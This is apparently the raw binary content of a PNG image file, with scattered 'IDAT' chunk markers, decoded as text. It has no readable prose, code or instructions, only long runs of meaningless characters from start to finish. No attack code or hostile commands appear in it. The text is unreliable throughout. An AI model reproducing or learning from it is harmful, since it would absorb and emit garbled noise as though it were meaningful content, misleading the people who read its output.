).L|*͆xA vinFFtVƨ[$%W@p@-@F s KaԲepoǐ2a`4i >׭ 11A!èQ0$ T2)a0Zpci`ogab9EBуX$ˡpaƠF.wfBT#P+1SH4qN~+i|u?g.Ng]:lc6]ӨhՕ8ĉrs=x%$%6z~jUwc70El:(ҙlO-Y[Y*+ Ԩќ QKo4қ{ZZ*DfuFV.ρMn~$ j5IvgJMBD2gzheQ?SNO>A x?r qGץfJ'cǐEJ 4aicq9y[or-@3Gc iH Q&55u…fss3a" Mq IDAT7|PpfNw"ADE%A~iժUp(H|{hj]…l6.'NtcYl:|\_;8*,Υ 4/z_X!eA"GAUUHTy/c.2nZBKfgވh}Xv*e15b Xi$/ݛ{{3RR:Yָ,)tج}[Ph *q9QqRRF衕hd0Á"pA3RC=%5^O#wg̘ugsj@!IP3 `J C3ihPP曢"b-[`A4DD Oh # #цs 1=@0iW0HYNrM76sY`"V-88\ŋ/XEBϮ;Nز[&G&u6DŽwC[AJkO>k&}6ٴh=9c"""ͽmje .ĿKa u'՞/F۹$t499oZqI !ιOo96fQ3"z2Lrf^&R'TP$`GPHD'b g)cu8B[6 Qǀ^"D*Q/mv D2gNN^Ly? JbˌJsQ/m0/M㼨mh-D-]X꤆%VfL3° 2Ri2JgecV٤ ƒ{(sI/%+C?v %pq}GVo¦'&$=xÑ#ӧ) -`z/3:]uoϏHFqge]ݦ4=Vl@6?/zKe2J$Sx4qp2X,^( =v, H8K77!QK nS2>F/*rep4IR!)(j%J8~~|Ȃ SdHR_IOq^hᅗ%xQ=& "^V~hwf۟!{MW|w3oEQ^9r1ނ&vAY-ޗ '>G$fD^N~yp{!Ks( 2 NI`%`;nHJX0t/>L&PHϙV҆'% |/QjlYw Bǘ¬_ܻdԔ?_'V " NUT3`0 yL3.n#Ro}Yf|laz Y"ܡL CL-s<~jPӹԶ!`\VbwňkG%#~pD2X̘`hwr{wS+#%Fz4 oW|InQ(Ttu!ȶ$RîN Vc٘t&/!TaSqv0y̰R?/ԷY(p-U54t/hڷ?͵p15nS.uk~a@86*Kۓv353>~CVVo޶uS]6JH4wIHHFk$*)ɺ3$T݋r   F ,y@0vAAzH@KVr"8Ք6K̛τcER,Tiʙt:yIG,x$8+$&?3GwJ4+.2 (8<6 WҊ8))L)_]"Guc@Sub^)oA$GF5d !B^WdT2P=H\/  )VU[f ?*Du(Zeoy7meD$â׫Z[dgo_޿ݝ;_>}ҥOG,bJ +~$$.Ƕo=;5=Ow5MLV@TJe &8DV_BK."a|FȔrG p }iּܺ;?cfl>~uQAd=~7*+1_ט[𠽠eevLzx{d  f-8pN,8(MQTGG49փ ]3>a#2Hk]s?CU7!cM "8HD2ږ!Unp[B_C 'ENzay`7l#!SO=q}!!:Y@|k֬;щ(lH@c'N9ƒ~a<o'% 6LR;LN8HA|uf((Ja l4ә?,;qbI+=%_^\ފJYYR8&27//1o xHxVۊ>r8}' \P(ns; 3OhMr{Spn',$M坝Fe.Nui$\q^|Ų2Dz_ @/Q[_={Ç LMQn(@06F :TP`)( |r!t3ϟw(u5! [yst}Q=x*9qCABd4uikt,o'5(LR1k{VsnثE>|[~96?WRl>ݼzQJ53H(d}UD]@(ȏ?;&̝;_~AAADcTٻw͛Q:\R& .%{6m4|DoDPzJ3Bx0M$pH6C cFn"[{U:MI'Fg;sW zO6=U% 3m$%8HHy :VOAo?Z*=jqϘD/ɒcxC] =T$W1ppX@ .ä XCxǹ%:;@%= ( F0'}arF5( \uĦ89C? ( 0P|-=Jg v0InQLF۔ts߾܄9s:zlM3--S-ݛ>ɞ-+'vfAS\oXp~*4ulF/n BW%mY.U>d< (ZR`JAAd  h1 c : b.\dywznLK5( \mPV/5g5Od2QWtV;2!Y=~7u4vHs\8u#6DΞ~JIf>HXU,K/?0L^ElR'^:{"@p/G"g.~S9|Ց83On{wȼzWlv":Q} "jIm2e+w\^ `扭'f6 ]6[W_2BaDV[o}s q v D@60}7{b2fi9\Z@n7-vv.ӶWʧdD+! +6P C%-bOJ5ȊBdx9EF%vO7 d7 UhϞ=o6_z饙ӡŁ rrr t -pp ܳd0 4XnC)`t?pW^tT}/E2Ukm{ YRnO i[j{c҄XKՀadևb@3$7k0w7lIs= ZTF"#P)|qD^5)%1R"IMrA2F|QQLvCRzykEHr557asa--צ%.9z4yĈPs&uA.JL& %|qY} ?/8:6쩯_Fv IIJ?gآ?eNʪjܘ67S@<ѯNeJl*YMV~a楤yķ p̘%n~jGS[)`yNuQ^66ljKI{ xR'JzY7BsͦON"F1UvTu)>sSVZ$7(HGq%e]rAC)Jߴ4ngl?q"FK7pjTp$ક!"3yheY`ɹmXB"q"f])d͏+L1XmpUEqCcZTcq d͈TU?ro7nybA+Nv!RdC?-7fBVkBYDL6K*S=;?$Ι(#OFCF%c;?%<9ih5-oOm&:o:3{(Bϛ7å$@I? tnԞ2ӘӢ}SߢdfjkZFeNBa@%Uŧ{`2#-LU.1㶂Y^F-cQ{^˻ W}so u\TAפ9Y1 ?mHf#ڕ}zHUnR(BqS=%dzo6;wpɿZX1Ix|aFSA%ׂUyѱ 8b޾:8ݝm'K ~I E@(KdДk{꽩!fNubUHy^AQ~$ ^޵q[^Ba5<{@si::neϗdќ֤=֛ V?,l::~{m|{3ROIwsQ˔Wv):Ϝs0+ !lӇM HR4W PP_K$%ĈcnpRzzȟ("#|6"#/ĥ9Q\͕{z2<1qVcrRty)S~; Mgg֭OM⦛q<ߴC1õRma|37e;ժQ(]17x,TL)y |1g[4J򈺬8yҤm7V΢LV+b[Vʘ\ -'RP&pR( @j+W,BĀ b\SF |Iut>iooJ/Z,d0֡t#~2wlU%ʚcHvwW&0XR)uYw^Dw'`ڻ<ż-&g<䉫 ÷B<RV<|l(ωLsO UJD"(c1 IDAT9q\WM^Y`"ݲmu`З9NLp[QJ';Chhq=mTYe7gKP h$7&^T0:eԢbZ_iUPL!XC1D02{4R]oIdPINE5 و/fD;D⍸Yqp7lgLhʹa ƥjvBanLv%&p{;P5 _CDSyza4ZpuF\gdO^^8 Vk0-ʯڳf5<^<  n-;wlf&_,}N֭DMT8qbXb=ZGaE+Lvvcb8l0"%?$`QZP,5=:~)M];NmH ً${~j۩Ϭ>l[[E]]&&fh]/MHH>qVikӾ{`d2k=XCuB,]5nH2$bi4o% Ǵɍ.2`_\RjUJَ梈`@B!=ztǭA@ Pr\&,zF}{Y{=2DPhϷl)&3 v>kRЂΠlZ@~-|.c/TosrB oۏl8.ňt 8DVpI7bĂٳr7&f2dMb u)m4I$_ A–c,ў~pיd#̪nLqHVsx5Q@8*鑤kK9&R+s=F@ 4i@QXؕ&1c.^l%6}Pt 7JgUZFP &D*4.j2#|[Ow/SȊvvpmm=x&%0?2Y K4Z֫ʛ5(yTSYf(^.ge=p n1Ҙrf[;pt\~1YrtѸ ԎLv!\ c3cӢ asx勿U[b#EE~S&{Sw> bPut)C-K2%@$`lF[ӳMa\Z4 jPAEWҲ,vR'幜h;Ԣ*g:,HIIYkּ|˥]UU;pO&35&#jZnS;',~ȼP쏉NEy4yi%8@?_o)l;E0A1X)ʓ*8C\c|@MV3FoۨO?h9y:6jUnjG:| Jt6Dp"L!)0qA'ZZv{L(c 5bv4;u!F$[kk/XXbb!Ql6x;0Q:RR-/JH`;NS/ܚ ZMI+5M{LǦH6۷&&^OI}!< 8塳 0J s )t~=Zv):$f@PE&SA6zuѴi#`x!P% hj_J F<އAapyRZvVӒJLa|:bGn{+Xhۇ->|ޔ))bB?cǺ_I; )'Z#],AW ..]]ar;KfNX Oh( ty:#L2?+_oUi;؝Pyp:P܌ r{(㢎#[*s1iiIVkWHvRRܽ.%( h4Q8ƭ΁݌JW*UEMJ1c\](,C{Kܘ4a$7m{=ЇWNC!SQi͚32xܻ_j;z`; o.rRrߍց#ٙlvD Jf҉3Y D!-PЍJV\|h~ϟ1A1fP)eXQ~]ŋ Y}#|$%?9p2ќD>b9du L@∾nlmr`ٲ03c]oZ{NA))tY\_>g ~Sz)R޽^0`\ä>W܄C3  }J"ƺ|gf;qGp#="vI*5::+Z3>jɝ_%1 % ;ܮDKL\C^U:U+:7MMH3 _s8};&P(bneo  N> I7UV6tFR[QQ߉ nZ`D ]ހqO-DI;`/\:+ Cv{OUlRֺebL_gjDâ[%tΚ{=jMk^o9q_֧YA@(sT.66 μSCDEGR(]0NX믟3@ KI:gPvB-JI ׭,^ D0#)1UB⬦YbR?B47 UuenH"CxAcI<8oh4D湷=Ljşef jG35QA ԘEJi_~>b mٌjPRS EMӢx)׿p(fS~+WJq (Ot_<٥Ӎ`$kt2 NYxxjk˭aa.G;SKXIm5yv,^˓#:bA/ʄɨ5a5`FIE3Z_82 R㔔 u3$:VCdD@`](|'-tgHj_bZvP1╂hNn4I3SR8kTXZ޴iė`a\.ŕ22 ] s)Pc.; (oy]}J@_>D'LsGy:h7-A7uTT;@8ry[kf@333a~͒Y}kT? Ƴ;`΍fDMG73έOsؼX{}ޔHd^ґϗ3$xa&1f25aؕPEaFJJ 70w3ctq>AԩxKSwCGLITF$?,(4(kNk5zh_'pFtiBѻnHJdRjVeFZԻRfE}HTz;gGR9> pc7nGݢ! 7Gd87IL2{]XZ]VKK A#1 ^8F9@ED04{O7[sպ_$'8ەtGCM>zrhZZ줐0#IHv3~u+C(,QBx]F%#lI6OVVrRZ f>PU?6V|,"XĀpѼh~.U* (XA%V?Xxfd!IlDĕ`s ]S'DinK<8mFy!' ˗NWEE|UWߚqE[MNWF?vݐI9Oojzcv+37gC3Jh´"Ue!:qge&b+"#]h6 LoVH P%ԲSigGpbquIGN<41]g6=8VqnlCcY$<]4K+ YSr.,-xy ۿIJZ8Ln}+ܗ0JA1(tn"FzWzM[6oAgw]z_ɢ4B w5~$o%ZWP4ff_~9:2,ouz|\wA Z^=C9 wWo3}"> -\aPitT)v0ǎmf8SM 2zZl47hrOH#/pu Oraߞhi5Sx}0ɻmo׺׏=$2}y-UL<'<թE Ϛ K Ϙhѣ*NX׍ Az wT_ Mk+8C.eBl޼W^IB@?::٧X0c7uU0z`Cݴ߮psDUW%rL7r|4sv!>j=ۚ8$1 V ^Addd;Ph>dȨ nj{ ) 2)g]I>ooYٷ(R#'i.Ğj5KC }#?F~B~ZH ‡ޱcdz>tW+V̜93++ `8āTZ_iBQXzPđ0H%:鴘\L fSw WQS[[z36"::ytR*vW̼#2H_OTztwd:A"r K$Ao ڶtV| YIwO?Zf5-Xx29˳VBJ_ k8ސ:<5&ܬin>ˮDgA_nm7PF*z.mXWb1t8h0$ILLLXpd0P1jMڊ̃ɜ_]gT[  Sqh|>dܜJ,9,ћ_{VSaVRF0"g9>aD,D:U(W~hԢ_Qv"E̛w@0ST%q f \vڡ1WR'Ig Pr†eSA@ * 8Ƅf *t?* kS%.]Рx߹fzśsdJլV ȅ.,fuu[ Y$YTg(H^Ʊ}v-Μ9c4q_X?r-P hڛok… Bp~)/7o_ xyO㏟yXx HQ>H?WWWoې!=~}jkk׿>#G|ׁQF+**233~(JKK/{=h};oh`oƍ^} /4Ҹk[zG\4v'^=b=F~$lɾ)R66(+ F-4iz>JD\EI,FxzA8=}lz^#l$EQ&ՙ%ʚ$Tj۰a` ~ut|W\r֭IHHpN%|Uf8o߾b8P@ \0*"/A:0YfAO?a ^z @sÅv'O<:b䈩9S sWfQ[$KzdB 3-P JR8ˀhWꄨPd1Hˌ9X=bq \a\`ЉJs'{V#ɍ ٳ; wA v۩;f"WV*2tmm$&.gҠ4k ?)7c,ܨ cYCъO.qK&4JdW"|ՓM ~d0by6!+PZhV\2j(=zIdɒ:h` phM6͙3xe8&0\UAO?t`?J')“h@OsN<|8z )>S@n馱c~fϞWsL$L0aժU`n:j()YDO>LE(_B^0w8B@rzY[ɭqE|nC;' T^༬ .7.D.cCf Il'vZ*˄-MI#Q?!K)3dfL$z6Q_i9yQalA+Y+5yuP+~xs+O-n B=a&_|,nĊ -RRR*(( no]tн,1LBV0AA:(fꫯ`6l'C<&Gga>|8abp~ x(x4xؤjk^[HP0!ڶ&tf˜ xlHR[+l8} 鬩S>HYaĈPػD7wh8?&娬4Q4X< emm)lv#ἄw?_HhL:sxi4^y"V(.\8|x<3pvA uvv" \7]JJJ!I5`rhqBbjx$أ> Eŋ4A<d~G lyӟ*۲e LH^(;Cq-AǖSì9GmRen2y"+`s[WW+;:M[7qJ67OIMzS-ZzTYfX7jR aҦ!@Ԅ(d3/{ K lfB@#>V*`Άa,aWKf9p (Kc Vf v>SߝhwU'QQ G51%/믿6#g_#ps=</?? '~ԩS*|2epcP}Xe IDATRUVVAPBP  /ɓCS%** =J_~!'9cƌ6:G]v>spq`PÀ7FU~(:V*36uy;_&a̝{?Zd @QO?2?@:6m'ϵj Fr ׆QdQK WHRga~c1(՞IN&ks!(9tb1p g8Փ`L*l,sIݐ=Jg)[2{Ovpu j;: ķ~~u-[)0QaC(ƍ|Yt)vSXA=,HpK,P_Kh\]o98,9~8\m۶ NpϕS!fa'ߞ2PLj!)v-U*{JN΁3/SRcWy9ϗ`$C&5@8~\8F( I%Ґ :G#<$1qVPNn\8./B=T XقDM<2< ux40 :' 4 !;0]K-v+`ZAR)paTZ'VN7nYWq&/b;l?_(tg:-6{Tɤ`%LC1&ܣhA?f_[IâtD;iyV烲rx'߿oaB%+zSvWGZ:~ˎӧmF#"+沇VLK8v&H*G'Y pr eKuIFsm({:77.0f1!h~p+N[X͚~ݸV+s9p}䆁3/˜-z<{ojۃ|''݄Wso뇦p0#2}Kg*C{OiiD|&>tF泺 |[JAЎu,/] #ԩ^P.w }>=iJzH~jYRX8>#Hd6lڿ] ~0+WsyuSn3^?+hj9{mFvLL!ӝ(ߤZ,>O̊Mc%dsF4HmcF! ܷ$z%@HNtl\kBZBB(9ѣ4 e"uyIo(sme- ]ZX8^8vp]& A]gCrd;jB9 + Rt6L]lfĺLƙ?:pL-i>= Dn##㽦i7̱ !(&7'F\y"<Li5kvo6,}Ll*y(f2uE7B\ae83Hw* &TS2vi s`57;tkIsiryH(ހ k׾i@K.JP32Wk:5ivH:| 7Br-e7y"?BA_eʿ;jkgq #u/n.(x۹ǧ62T}`d澾/3<2j\VE)_@2_QI cQ!'A"R.AY"]~lD _ v̬4.bbA3Zs DOtV|n$/7BJՎ TUFdfI5◊EC#h$+M; Mϋcb=:}&LKOe 7h3EECdGO(~B-uS:(/*c: e=K:6L.]$jۻ<*x֭NoPq.|F<<8pfB|E9HrgÎf )1i[P.v3Y嬄&^{;WŶ ^t aT&x-2l͇Nx::9:modZsIRo֪~0=)CͿ=Vd.+2|EZ0c\dzpHlX:9?kU/]s R;hn[Q%֏䒯>;F?p Vesc(/1ÇS83R{As,dΝCZ:15>^_coR  ~ki Hn*ʘmi1wW!Ռtv쒒O޴3ff!,Rַ0X6jtǾJ| qw}js=nYS7A`fBTV Bvd-ќc2=!O;Y, ~ Lw jSHw,R{b6{b6;U&#G4mmW⦧{K_yp2سgQ喈N8IJ(j(_$%k׮:t(dcq ;>;2!;0 .X*_k!^RAx$D]bPݻwzq&OM< TVVlإ(M҂x^Gs}rHBf[;K~^hT&ui& Iᨋiˮ2mmX\SQKVD$,>> :PގIg- dyjWL&p{|t xYfPeL q&&$kW/(Z:g(7t4}z8Jf`\zSUla$Єi-gJCK  ǸH슿tIB>{]b1xC8ᓁ2.\@1gwٺu+nD7={Ç1wҤIȝ_[[Ο?sxAEB O曁H9g7ߠ(z0T VAB4^x@9 &5k@gC`"jfH&0i9rl6tA'ti'2)+9HܛZ (:A-Dɭ}&\̾뮏C>9G~=ѨOLz $& 6OmfIJ5O],x+?"; uOk񧹰pRdazzH%6V./ͥ%2imBc2s׬>q7&:;ccX =lsNٹs:Kӱ3}JK/Cel (@?2{P9g6o u *q^π5G  ;A1WеTUU}}92B2Q/EbЃGRJЖPjn U!%KĠa04з≠J@O'GtVc[v*zWX;=gEH8I3x-;#pz7 UXXDTTƦxASh'(*2F+ <wlT ɝM6>Qv=@5]&i6ˁc%Xĥ })imZ1ܞ 99uݴtSf̈!+\Su#@[/O|{hc &+ENvyeݮNf=vWx.>4:rݻEvv%O,h\ֳZʄZ^R'3zjd/sޖ`mo3,Ns܂8$}>:13ȿ_h:Fc+ LpqPahMcŖi-aq^8BIKGs ţ +1iP!KT]><wzDz0 Q$6pdDt "z!OEXP.(;BV8%B{9HQ HjJh041WOeN8bFnƿ_1B8|BF䥃dinEظ(C\biq]߱Pcoo7p ]2Ә̐^$%kxSӆ>fP(=}t3ȧ6nݵj4ΙEkR)Ԧű: u{a!&F=%p%lc葑':PP= H8/a0F/|\kL& ⑨_c&LIꫯ0>4YG=C?{Y!$JK{oZU:kwz۷{OmmκF@dd^cM_<Ɯ}&ݶ!./ \gSm6^= vC'xMdh ЏQF= @KkQMnb&\W\gLy=QQ)\d&/a2S"|ABoȅf[=tY]D[bcoŌ97 Hu^[D)A=V;mMqV!GYh*UqL$r֔hѤ e">2T"?6 ?GTs={.nM줭#}[k" O?M6-RPNз1 \ep!Zpp#c8 (g G^xgQ~=X\._~|ט=H ZH~p:T@+̜9ȣ4pH"fxSYL@SêGt)-\wߡ-8#{>@8X^s:E##c嫽 ^[!_Ej/fyp* C7XIm 1l0z|޾/suTz3"凔ˏf ._6aʔ^Pqi@ئ2DŽ1XX򸬸ȤHEE8uMڿ9s)+} ;w 0xCCC̙ ) ^ a2cǎq8wm5 1P8Jɱta ldtA䠇 :, X&<nOpDNA*aDk'NJNNFh5'k upv8pnki8EeOlTxe*^AqA9 8.I zGJI_d8_FEU;԰hZZHjj6ZN`_bLnCU3:hWmy{˴Ʋ_ѯ1:(c/޽nw鞫KӄյrV k vMؒƏ'&& j &nm Z$O'[~ψp/L.mgG ]Abt@ &<Ϲ^\w_$$iQdњv(8>ΩQRYWD,aY趜y/;& ż4'`/ (klɓ7j9ݸ%GKof {*4(.Qt5HO`$kSg=bN.ބ>Vo2M0;eH'Ep-L*!75 k5J!CFk ޡHK%RFJeQ``BPP;ODZ\84@|/pNlEoƹʚkɿNY9ԳD#ҍA ª.Zrm^5[QNWfT M8/ -5N>3"J[՛H !A~$ ]BӬX7 q``PW9YbbnޣQגגZu^pʬ N?PRymZt0irĉnTfqlYTKYɞJ]Za}hVc~d@JP׼;ŵl2Bn9{vDž 1l'HņluÇ#VŷۮSv>,pV@\XgK2%k^:&$(a;כ5g3x8jvM_TqK]^iS#m!EKF.mkt 7|,32b\*psB#Țk%)')%#+}%(c=nT D5 )`4 ]8K#LDW+zT8{@2Ą0Pf쉡qUJ'?l3>[f]Le?_bRcQyVÇVȼrN,iQdpO(m-rz?!"3ڢt9mR7k4E[=c QXpY ={}J@҂p$^we .uRF >=yC(o"o nՆE3uA!-΂3h@k VU񧯜n˳=xdC<˓ 7_N㺘,єWUrql,o}㞷-Iqܾjk?LM}pXJ S3;Rar|AQ$HrqgwS#l ^Jx=2(F#qz=D]#dP8g<_"I!qC&Z{<dd )8t7=vނU:#(A ޼`vINUUVYt+ .?vםdzwuFFNwcTU@vO] 7^ |oX|rlhuVv?dG8!^2޴ 87yrq pD55""vWF;+f@וl AڬFA^ׯ #]II lݺ[-bw YP5~L@`As /_uq-yRETsU cy~vr?Q[G9z{tzӛd/zΎfUgv2s0])+iAA T)5vՆ:_IR-j8i:cv]n۷̰BI7ʺ3E~)C/z5/[(H~{n?k #SOgɒ%(ѭ\P K 1D8b şQ<՟d~7]>Ek>? jMrVYFShʹ{iQZSZrשɽ#jJuX(64Ғ׃J(hdnOeX{yp4+KXy@#F ۪? 0̱gϞ؅ ZKݐ@EEƍK xs:uhi@P5G=!hC#"DDrn9@Hc0h &gE1ѶN\q3w].zx;iN¥TԼc} M--϶L KmwsInSӤ -`Mf; PKB@y5:5LAR-JBT*M%0 0g<^Cp ep>ҁ31o&q>%,/(//uȻ@;Bd&Lп`k>n''%DKT$^,S")2mx |΃s̀( ..k4df~צd$tdh@5kn]FcKPœ\ɖ$fTD@#)j( Ft`Ÿ-EMMKee3lX[C{^:<#42Za;!Z\XhP(N-=x!6=Lצȑ#GEHD3$t0 IKKoh(* @/cΧdWO |r sn]%`0~VXc0h2 eZ?ݔ6[K>_bzN\7nܝܚRy^,pc P* f31EbqbHH+'mN襈U,2Ś 6nʆCqq99&9w[P0WךCP!dCCJ hatn@<ך7<<8~EIIcbҝZZGr8WYނ{ˣGus 82X4PСCy؁B 4@9@ݼP/ Z.dAjX O?M.Hҏ3vQPEh3L7zxrBc<,:!$NRب鄠L&muL&/!!?vԐY_fu|గG踸 Tp9fSjdgfg(GxhСÇ;wu7M ձ4 cr֭whu G6ݳB %3f̘?#** 4H$q $&&Z 0ܹs{ h,GMj0<[~VbՊ+%P}'K~Zg՞!x #|كae2SRkWo"m\d_kՊ&}rPûT:ϹQAՠ2%xXnl[qI=P(:}]w\rnlBp^8IF7h 8-AB6Pða&N`8´CC;5}` ]dJ%aZMM R˼;Г=cSOSzP[ΈTZPRc,jiި8=8VZ~mݪ<.m*UY\ik d^7*lJ U--'p%LYq-8DiT&Ϝt'g{@ǎC9y,ǠȏGZAv%` ef͚ ".{orrq.T̔)SQ"rJJ Ç#]%bbw]u+lМWXh0Gx+7&=Lw~sC{x2uJoLBϩX Fe&0Rn+'Ԥ^5ǦDu_բ<ڒH?zBgbQP+42)ʱbɽy`p w8h9[mZ%K88'N$3Z|FbG3C$|Bȣڅ^Ĝxy X!{^rQhl-LŴ*QIvHx+x Ӵ;ch6"JY l'ܠ^28WlH uH ϪoܜJkoQT޻D=cK[BKV+㜚KK';D =C͚P$f{ 3~zj8yρgw\$ڜ\}uLr71'U鉉D_k&;ϫHшD {nMYI8N4+^a1|yyy!4RD* R؈\4q.5%TP !\wY42d=;F# ap[a9.=.-=`랕V[:AAzOk0]ye06Myx GHTqG{\8Ì*#Ka߀.6-!L@_?߀tVLhkc$[PUj\b3RtG X:$aQa;>>q4)?V t#';(};O0Iz=׶dj;o4Q`k;<6+4 ,FϼP\7eet1ஃ44JYW8u*5ޮV kkn@;W|mR\s=Dn|RY AG`=IK$/SՊ'RYsikҚ͛#Gn[Gtjé[޺] e G}hѢ+] [bJ:E]uGR 0Qcm RHp.1H "z[/k`؈(ej#.J09/.4+3:)^ nUpc^a`SG0]e2AMMoxCc{7 ʺ]SN #]"9oA(Z.1]2FhhM7XfQD*a"-8a)--EynbQQ@`9p9sqmxP޽Q;P L|#P*!X#A0T56 2 &<3`K/ XTJE8ʰ dmQh͚ Eͼ'43|2Jp;'w |xɘ&__)p L&}F',$dV+88~AZ)ںuQLJ sz*5/S7F38qC4H'Dk= A_pS믿>x  HLL j""_-^>Sj>XnƍaBJԂHB>~4@}%zk; nWVV%`;p׍7Pޮ.bfH x+ /a->iӦopЯ( n[}q`i0YTkoKfr!T_LZyem HՋ@ljP@O#ѫJP̆ŊhFrH諰k<`C{رЬ #`Іa(Ds<`pG?'NL>|`xz:X_}E:e%uujo1󙙁,o7 ύ7윬 RPPJ[4T 2<12hr%Z#m[=EV$YVإ 1*ZC"c!6cbno*MM ]#Gw{drPxʺݻcc0N oTo$p!6 (_l3Ͼv :fKΞ=rp@kB6Ϗz&e}]`H^z; 4B@*1𳱖! < նC%p}Eh̶fC$R{# H`c^pd^o!hV[#o] ~A}ٝ+ZWL{mmv?N>4Þl0֊P@mO@Mpo[m|_H8HvY9Npl~Vo9ol׍蜆KK] \eZF0 !0bgZ(6G8;z}f׮]C(c|n(8␰6&b}8`K1lk`\ի;3p@[`ۻwﯿ th?"DY0E Όaj80QT@0xLx"pHAGOtG-2&-- l9:c 숤/лApPrE@_YYټy /_ dCa dxZ ?:u*]PƦ} Ƹ@IA7>8r8{v{V86O)AH%QOu\0-P7v-ɡT&|rnJJ0h7<ԐTGe/$JLzݭTa0b1( Y, [2l-|{Ĺ Au*5Tp#҇wգ 鞫H%4ʄn, =Y{Ơ E |0k9;2Xi" 2e}nw eofgK`Z&K2ZZqĈé|E7>UlLf6"?!+Iy^2P57#F)ñN穕|II'>M&ӲRT# "QVxjeib ^;؀@溝;aZJ) 0.xs%wi PVmžCWHC}ˆ&'|ӄǾ>+w>J X\G RI*ݛսi(Ѹ\g2 A:/7+4M&V^^ޣGgQs+wwề=|>LfQ]30G|]&Ms)l;3TiZJx,hZ:"c-biGtتT'P&+ *i?= U~sD c2O OP_5%B4{0arX RWcLT1ח3+= j^6ljjm!REMM 7Cv;;,Y g %zwZ@Sy-!7 O>m|8jkߏfv#N^Z$2p0Yx׆9QRTij vG IDATEDƦweӝ׶9,&:_ GAYX} @/]ԫT~~ 32vYt=K) Ωڶyo=[ϥT%~~Lzl CARH(;s[C~DŽcpOn;:T*).6c8g`Bw^O^FuB(\O^U/VU30stfLccYppd\]SBCnDPuzV*66rXPvJ^\^mFŧfVNj*C?KnxF4i.Hvc399mRQHvҡt'Ӌ5Ǹ] IGBNsRg;lD((<2e<&%GT'9\2ˍ2C;W忿05_E&j2C::F&uK3׉h(s'Fiio`PiҚRȐD\ >)eCfT6ndEG˓"^}:c> *6S9 -f~Zjcg#,J⢢ĩSYpхgd=>Eڕ eM@K8VQWT \/6길+\M,!oh22GM%WL ,R&=r=Vb\> sZ4á$qfT{Mך:d;ZBh\g::9rFH{b[IY(knk jƺM %@CnP%];2&m_wSJ/+;2źXl6?jP3qmn#YXcqHwF,F2 䀨Ӻ`WVDŽ(tPV:*8ߦmkJ ωjj_P{x5%ﮟ?2%()c<^Rk.G?y˾\iZnH Ϟ=.2Oˠ@K- /yO~GC(%Qmy^#fUURJsQ ː aSpAb3X P2 8rsq C!*U 6tht>‚I2;೨iZc߄+lvvFp0<|}=?Y5i %ߒ`JrJUuU[i twqb8if\Mbb2z @^(cF{G&uc+}3~>)BGuf^{7̸#I ;:Ji=z TnS\۱"b/ *x9.>y9pnܨQ.es(åͣz[d3;z@QE_c@I_?Coe&,Щ3ꐴHb߆oy01ÏKj]An yh2S+-$ݠ%}$ rOKSgf2(i5a̘jQQ7>Ǡ3Xhh;22?mù'LF'+/+xnfPklkkEE!)kBK8cb̙`/8986֢}.j){za&F$>~>姪O IK1]^NקŤX+;>Z^?ZZ4-ч/泙pN^fi5iDtuq Y ؋CX>1!1F>-%n+\⨔2 ٽƟZZ SS_j5{mV3} b*t033 !@ =#0 v0@'Mx왤Y$D8ϤHX*UbLH?^EBSF!s G>Vw=lfUôH%1 Kg~:-}hwk@P{vv44g}:+6S ~1w_>)eK_j2+_Ŀ鋛^`ɭ0瑵-P·S^[~[gܗ-7#fs$;rl؟<2k$1? 3 q}=>O|*=@gH`;[aqa;'A"+fr$:76f=\k&( /aabb؋hDcBxoh>uC/BPh++LduSdYwȆ=²bp$d 2y;:op'=:tgv*7=Vuyz;`.T)Np\w|w^-8ƏA5 ti|NS,(n6L[L|[|`Q#鋖@zQ#n1cQ.B8UZzPP9Ä +\9R,;, sўe24dшN}xA&81g9=ݖT+I;Ѭ Zg\:sCxqGw*56TeB%@]mC}nz3f>{d);sp` "ihl8Y}򓅟&gTϰ,/ _|Ȱ8_3'7{± GF8uʂ]djGŁlٯ~h" d")-/K@\+>?;>"% 1R@ĤwA@^D-ɐ^!99k \UֶԤΝˊA9Fmaf!"csY(k/w) у;dj -d##,4Zچ2>>w˿;p֜XΏ>EAGr0b7w?_RH஻|򩽧>c"xV.zC+uE?CJJ>!JLP^ɷ}4!ED7DZv[ׇwZ.YCG&E*`36VV沲Clj%xlffT|V=XYR飼M>*sYۛ@#64}sc{1Ȥ#;^peAg;9>nDŽE /"xWFS(1:k4悏>=i? ~韗kR𙙘=W+ai=/IM;n\2mZ%CʈnxQ@0UP׺x_12dD"]ڑeJ9cxW]ԨTJ**/XfG9Vb*/ dvN _jhhL>nSrNO-W fc/^>]' XҒ/ф(yp ܱX}=z#Ajzmv5*,<2VwS(΀vӟ^풺:h\ OLy"*4l4#MHPw{|!74ĄF9_ /$iFctl4+UKa;a95ݦ%@jޓ{/biOP@nPPRl3hMi0mnuǣui!̥:Hnػ7(:Htyܓ3o9And%AA,lL$:}ZZ\S=Ek8y4-Km(tnxpVx*7Mde=6>q}evyX"Y|g yv49cBÍdarqHHwbhR(es_/st2G $t_\ܲ>&VU647NSih:]nKsj&'+S yy?3thHJ|^ɇ]~;r\np0PIN~! JҒ=RJiݣ7h ȉ/ GpOP9],@$^nR7ׯ޿^D2'#>ch|(\\wo(~Gtd{2\}ӢҲⳠ n@*-Ph x]!CI{ؤI~~z}L^xB|9aZwGmO^NDpT!!sEqʚ2$ޚ8 qǍc/=^F>iY޵TEIB> ˏzR$~+W̌rıީV=8j-B1t:oiii=v5d؃jő#GqFqؾ} *8 qc K/RKxes@&=ITQAp1}͕u§U'{q{Y4ɛ KeF@+Y5-ZiUZD JcQcQTl@%'+hl,kJw[aFqBp05\'2SN[y3 +66fMÁB]'^')$+$Dl~-rj[%e}->M󛗍 2[F;ܼ-(79FK] \2G=:rH/Σ!h~ >B}6bA66t- n]P'qP.m1,>>~xڍ!A%A w;jɨ1dT{/| Z՘1˜}zj5 İX\i[##M]+H1#^М5]Ndǁ" ƙVN _xhk9֜mڲ1woN_޽%HڌGQ(܉Mdxzx'4P-'I|7Ԭ`eY!gr%zF𰰱aa,0.]jl׮&L/4}GVjjn?=447ԼQsK GڅJe֭LOw;O+j.M S W*BB2ۮ)ˏ$'?0Pz<,JAܜ@Gs}~X:gdc.{W{ܞwvȖ%@]}eH$bXxMڅ4mnn Z]A/O/,Y$c>΋sqϻe˖|O=o|:dRyq8}4㜾55QnP*恵gQjTX`pz8Μb+$㘍P :A*URy:1}IY_/*(;6$9JOE߬L5lSz闤|ۮ0oy3̈́u Կ/2cj?,))s̐!C^WWC&3f ־[k֬ M DR[.‡ٵkכoy1ٓI`i4|~FF5篿p80kR\[UUepppZZM pݻ1õ=#6m P} t۷ Dpu\Rg(E{!kl,0^[Tz 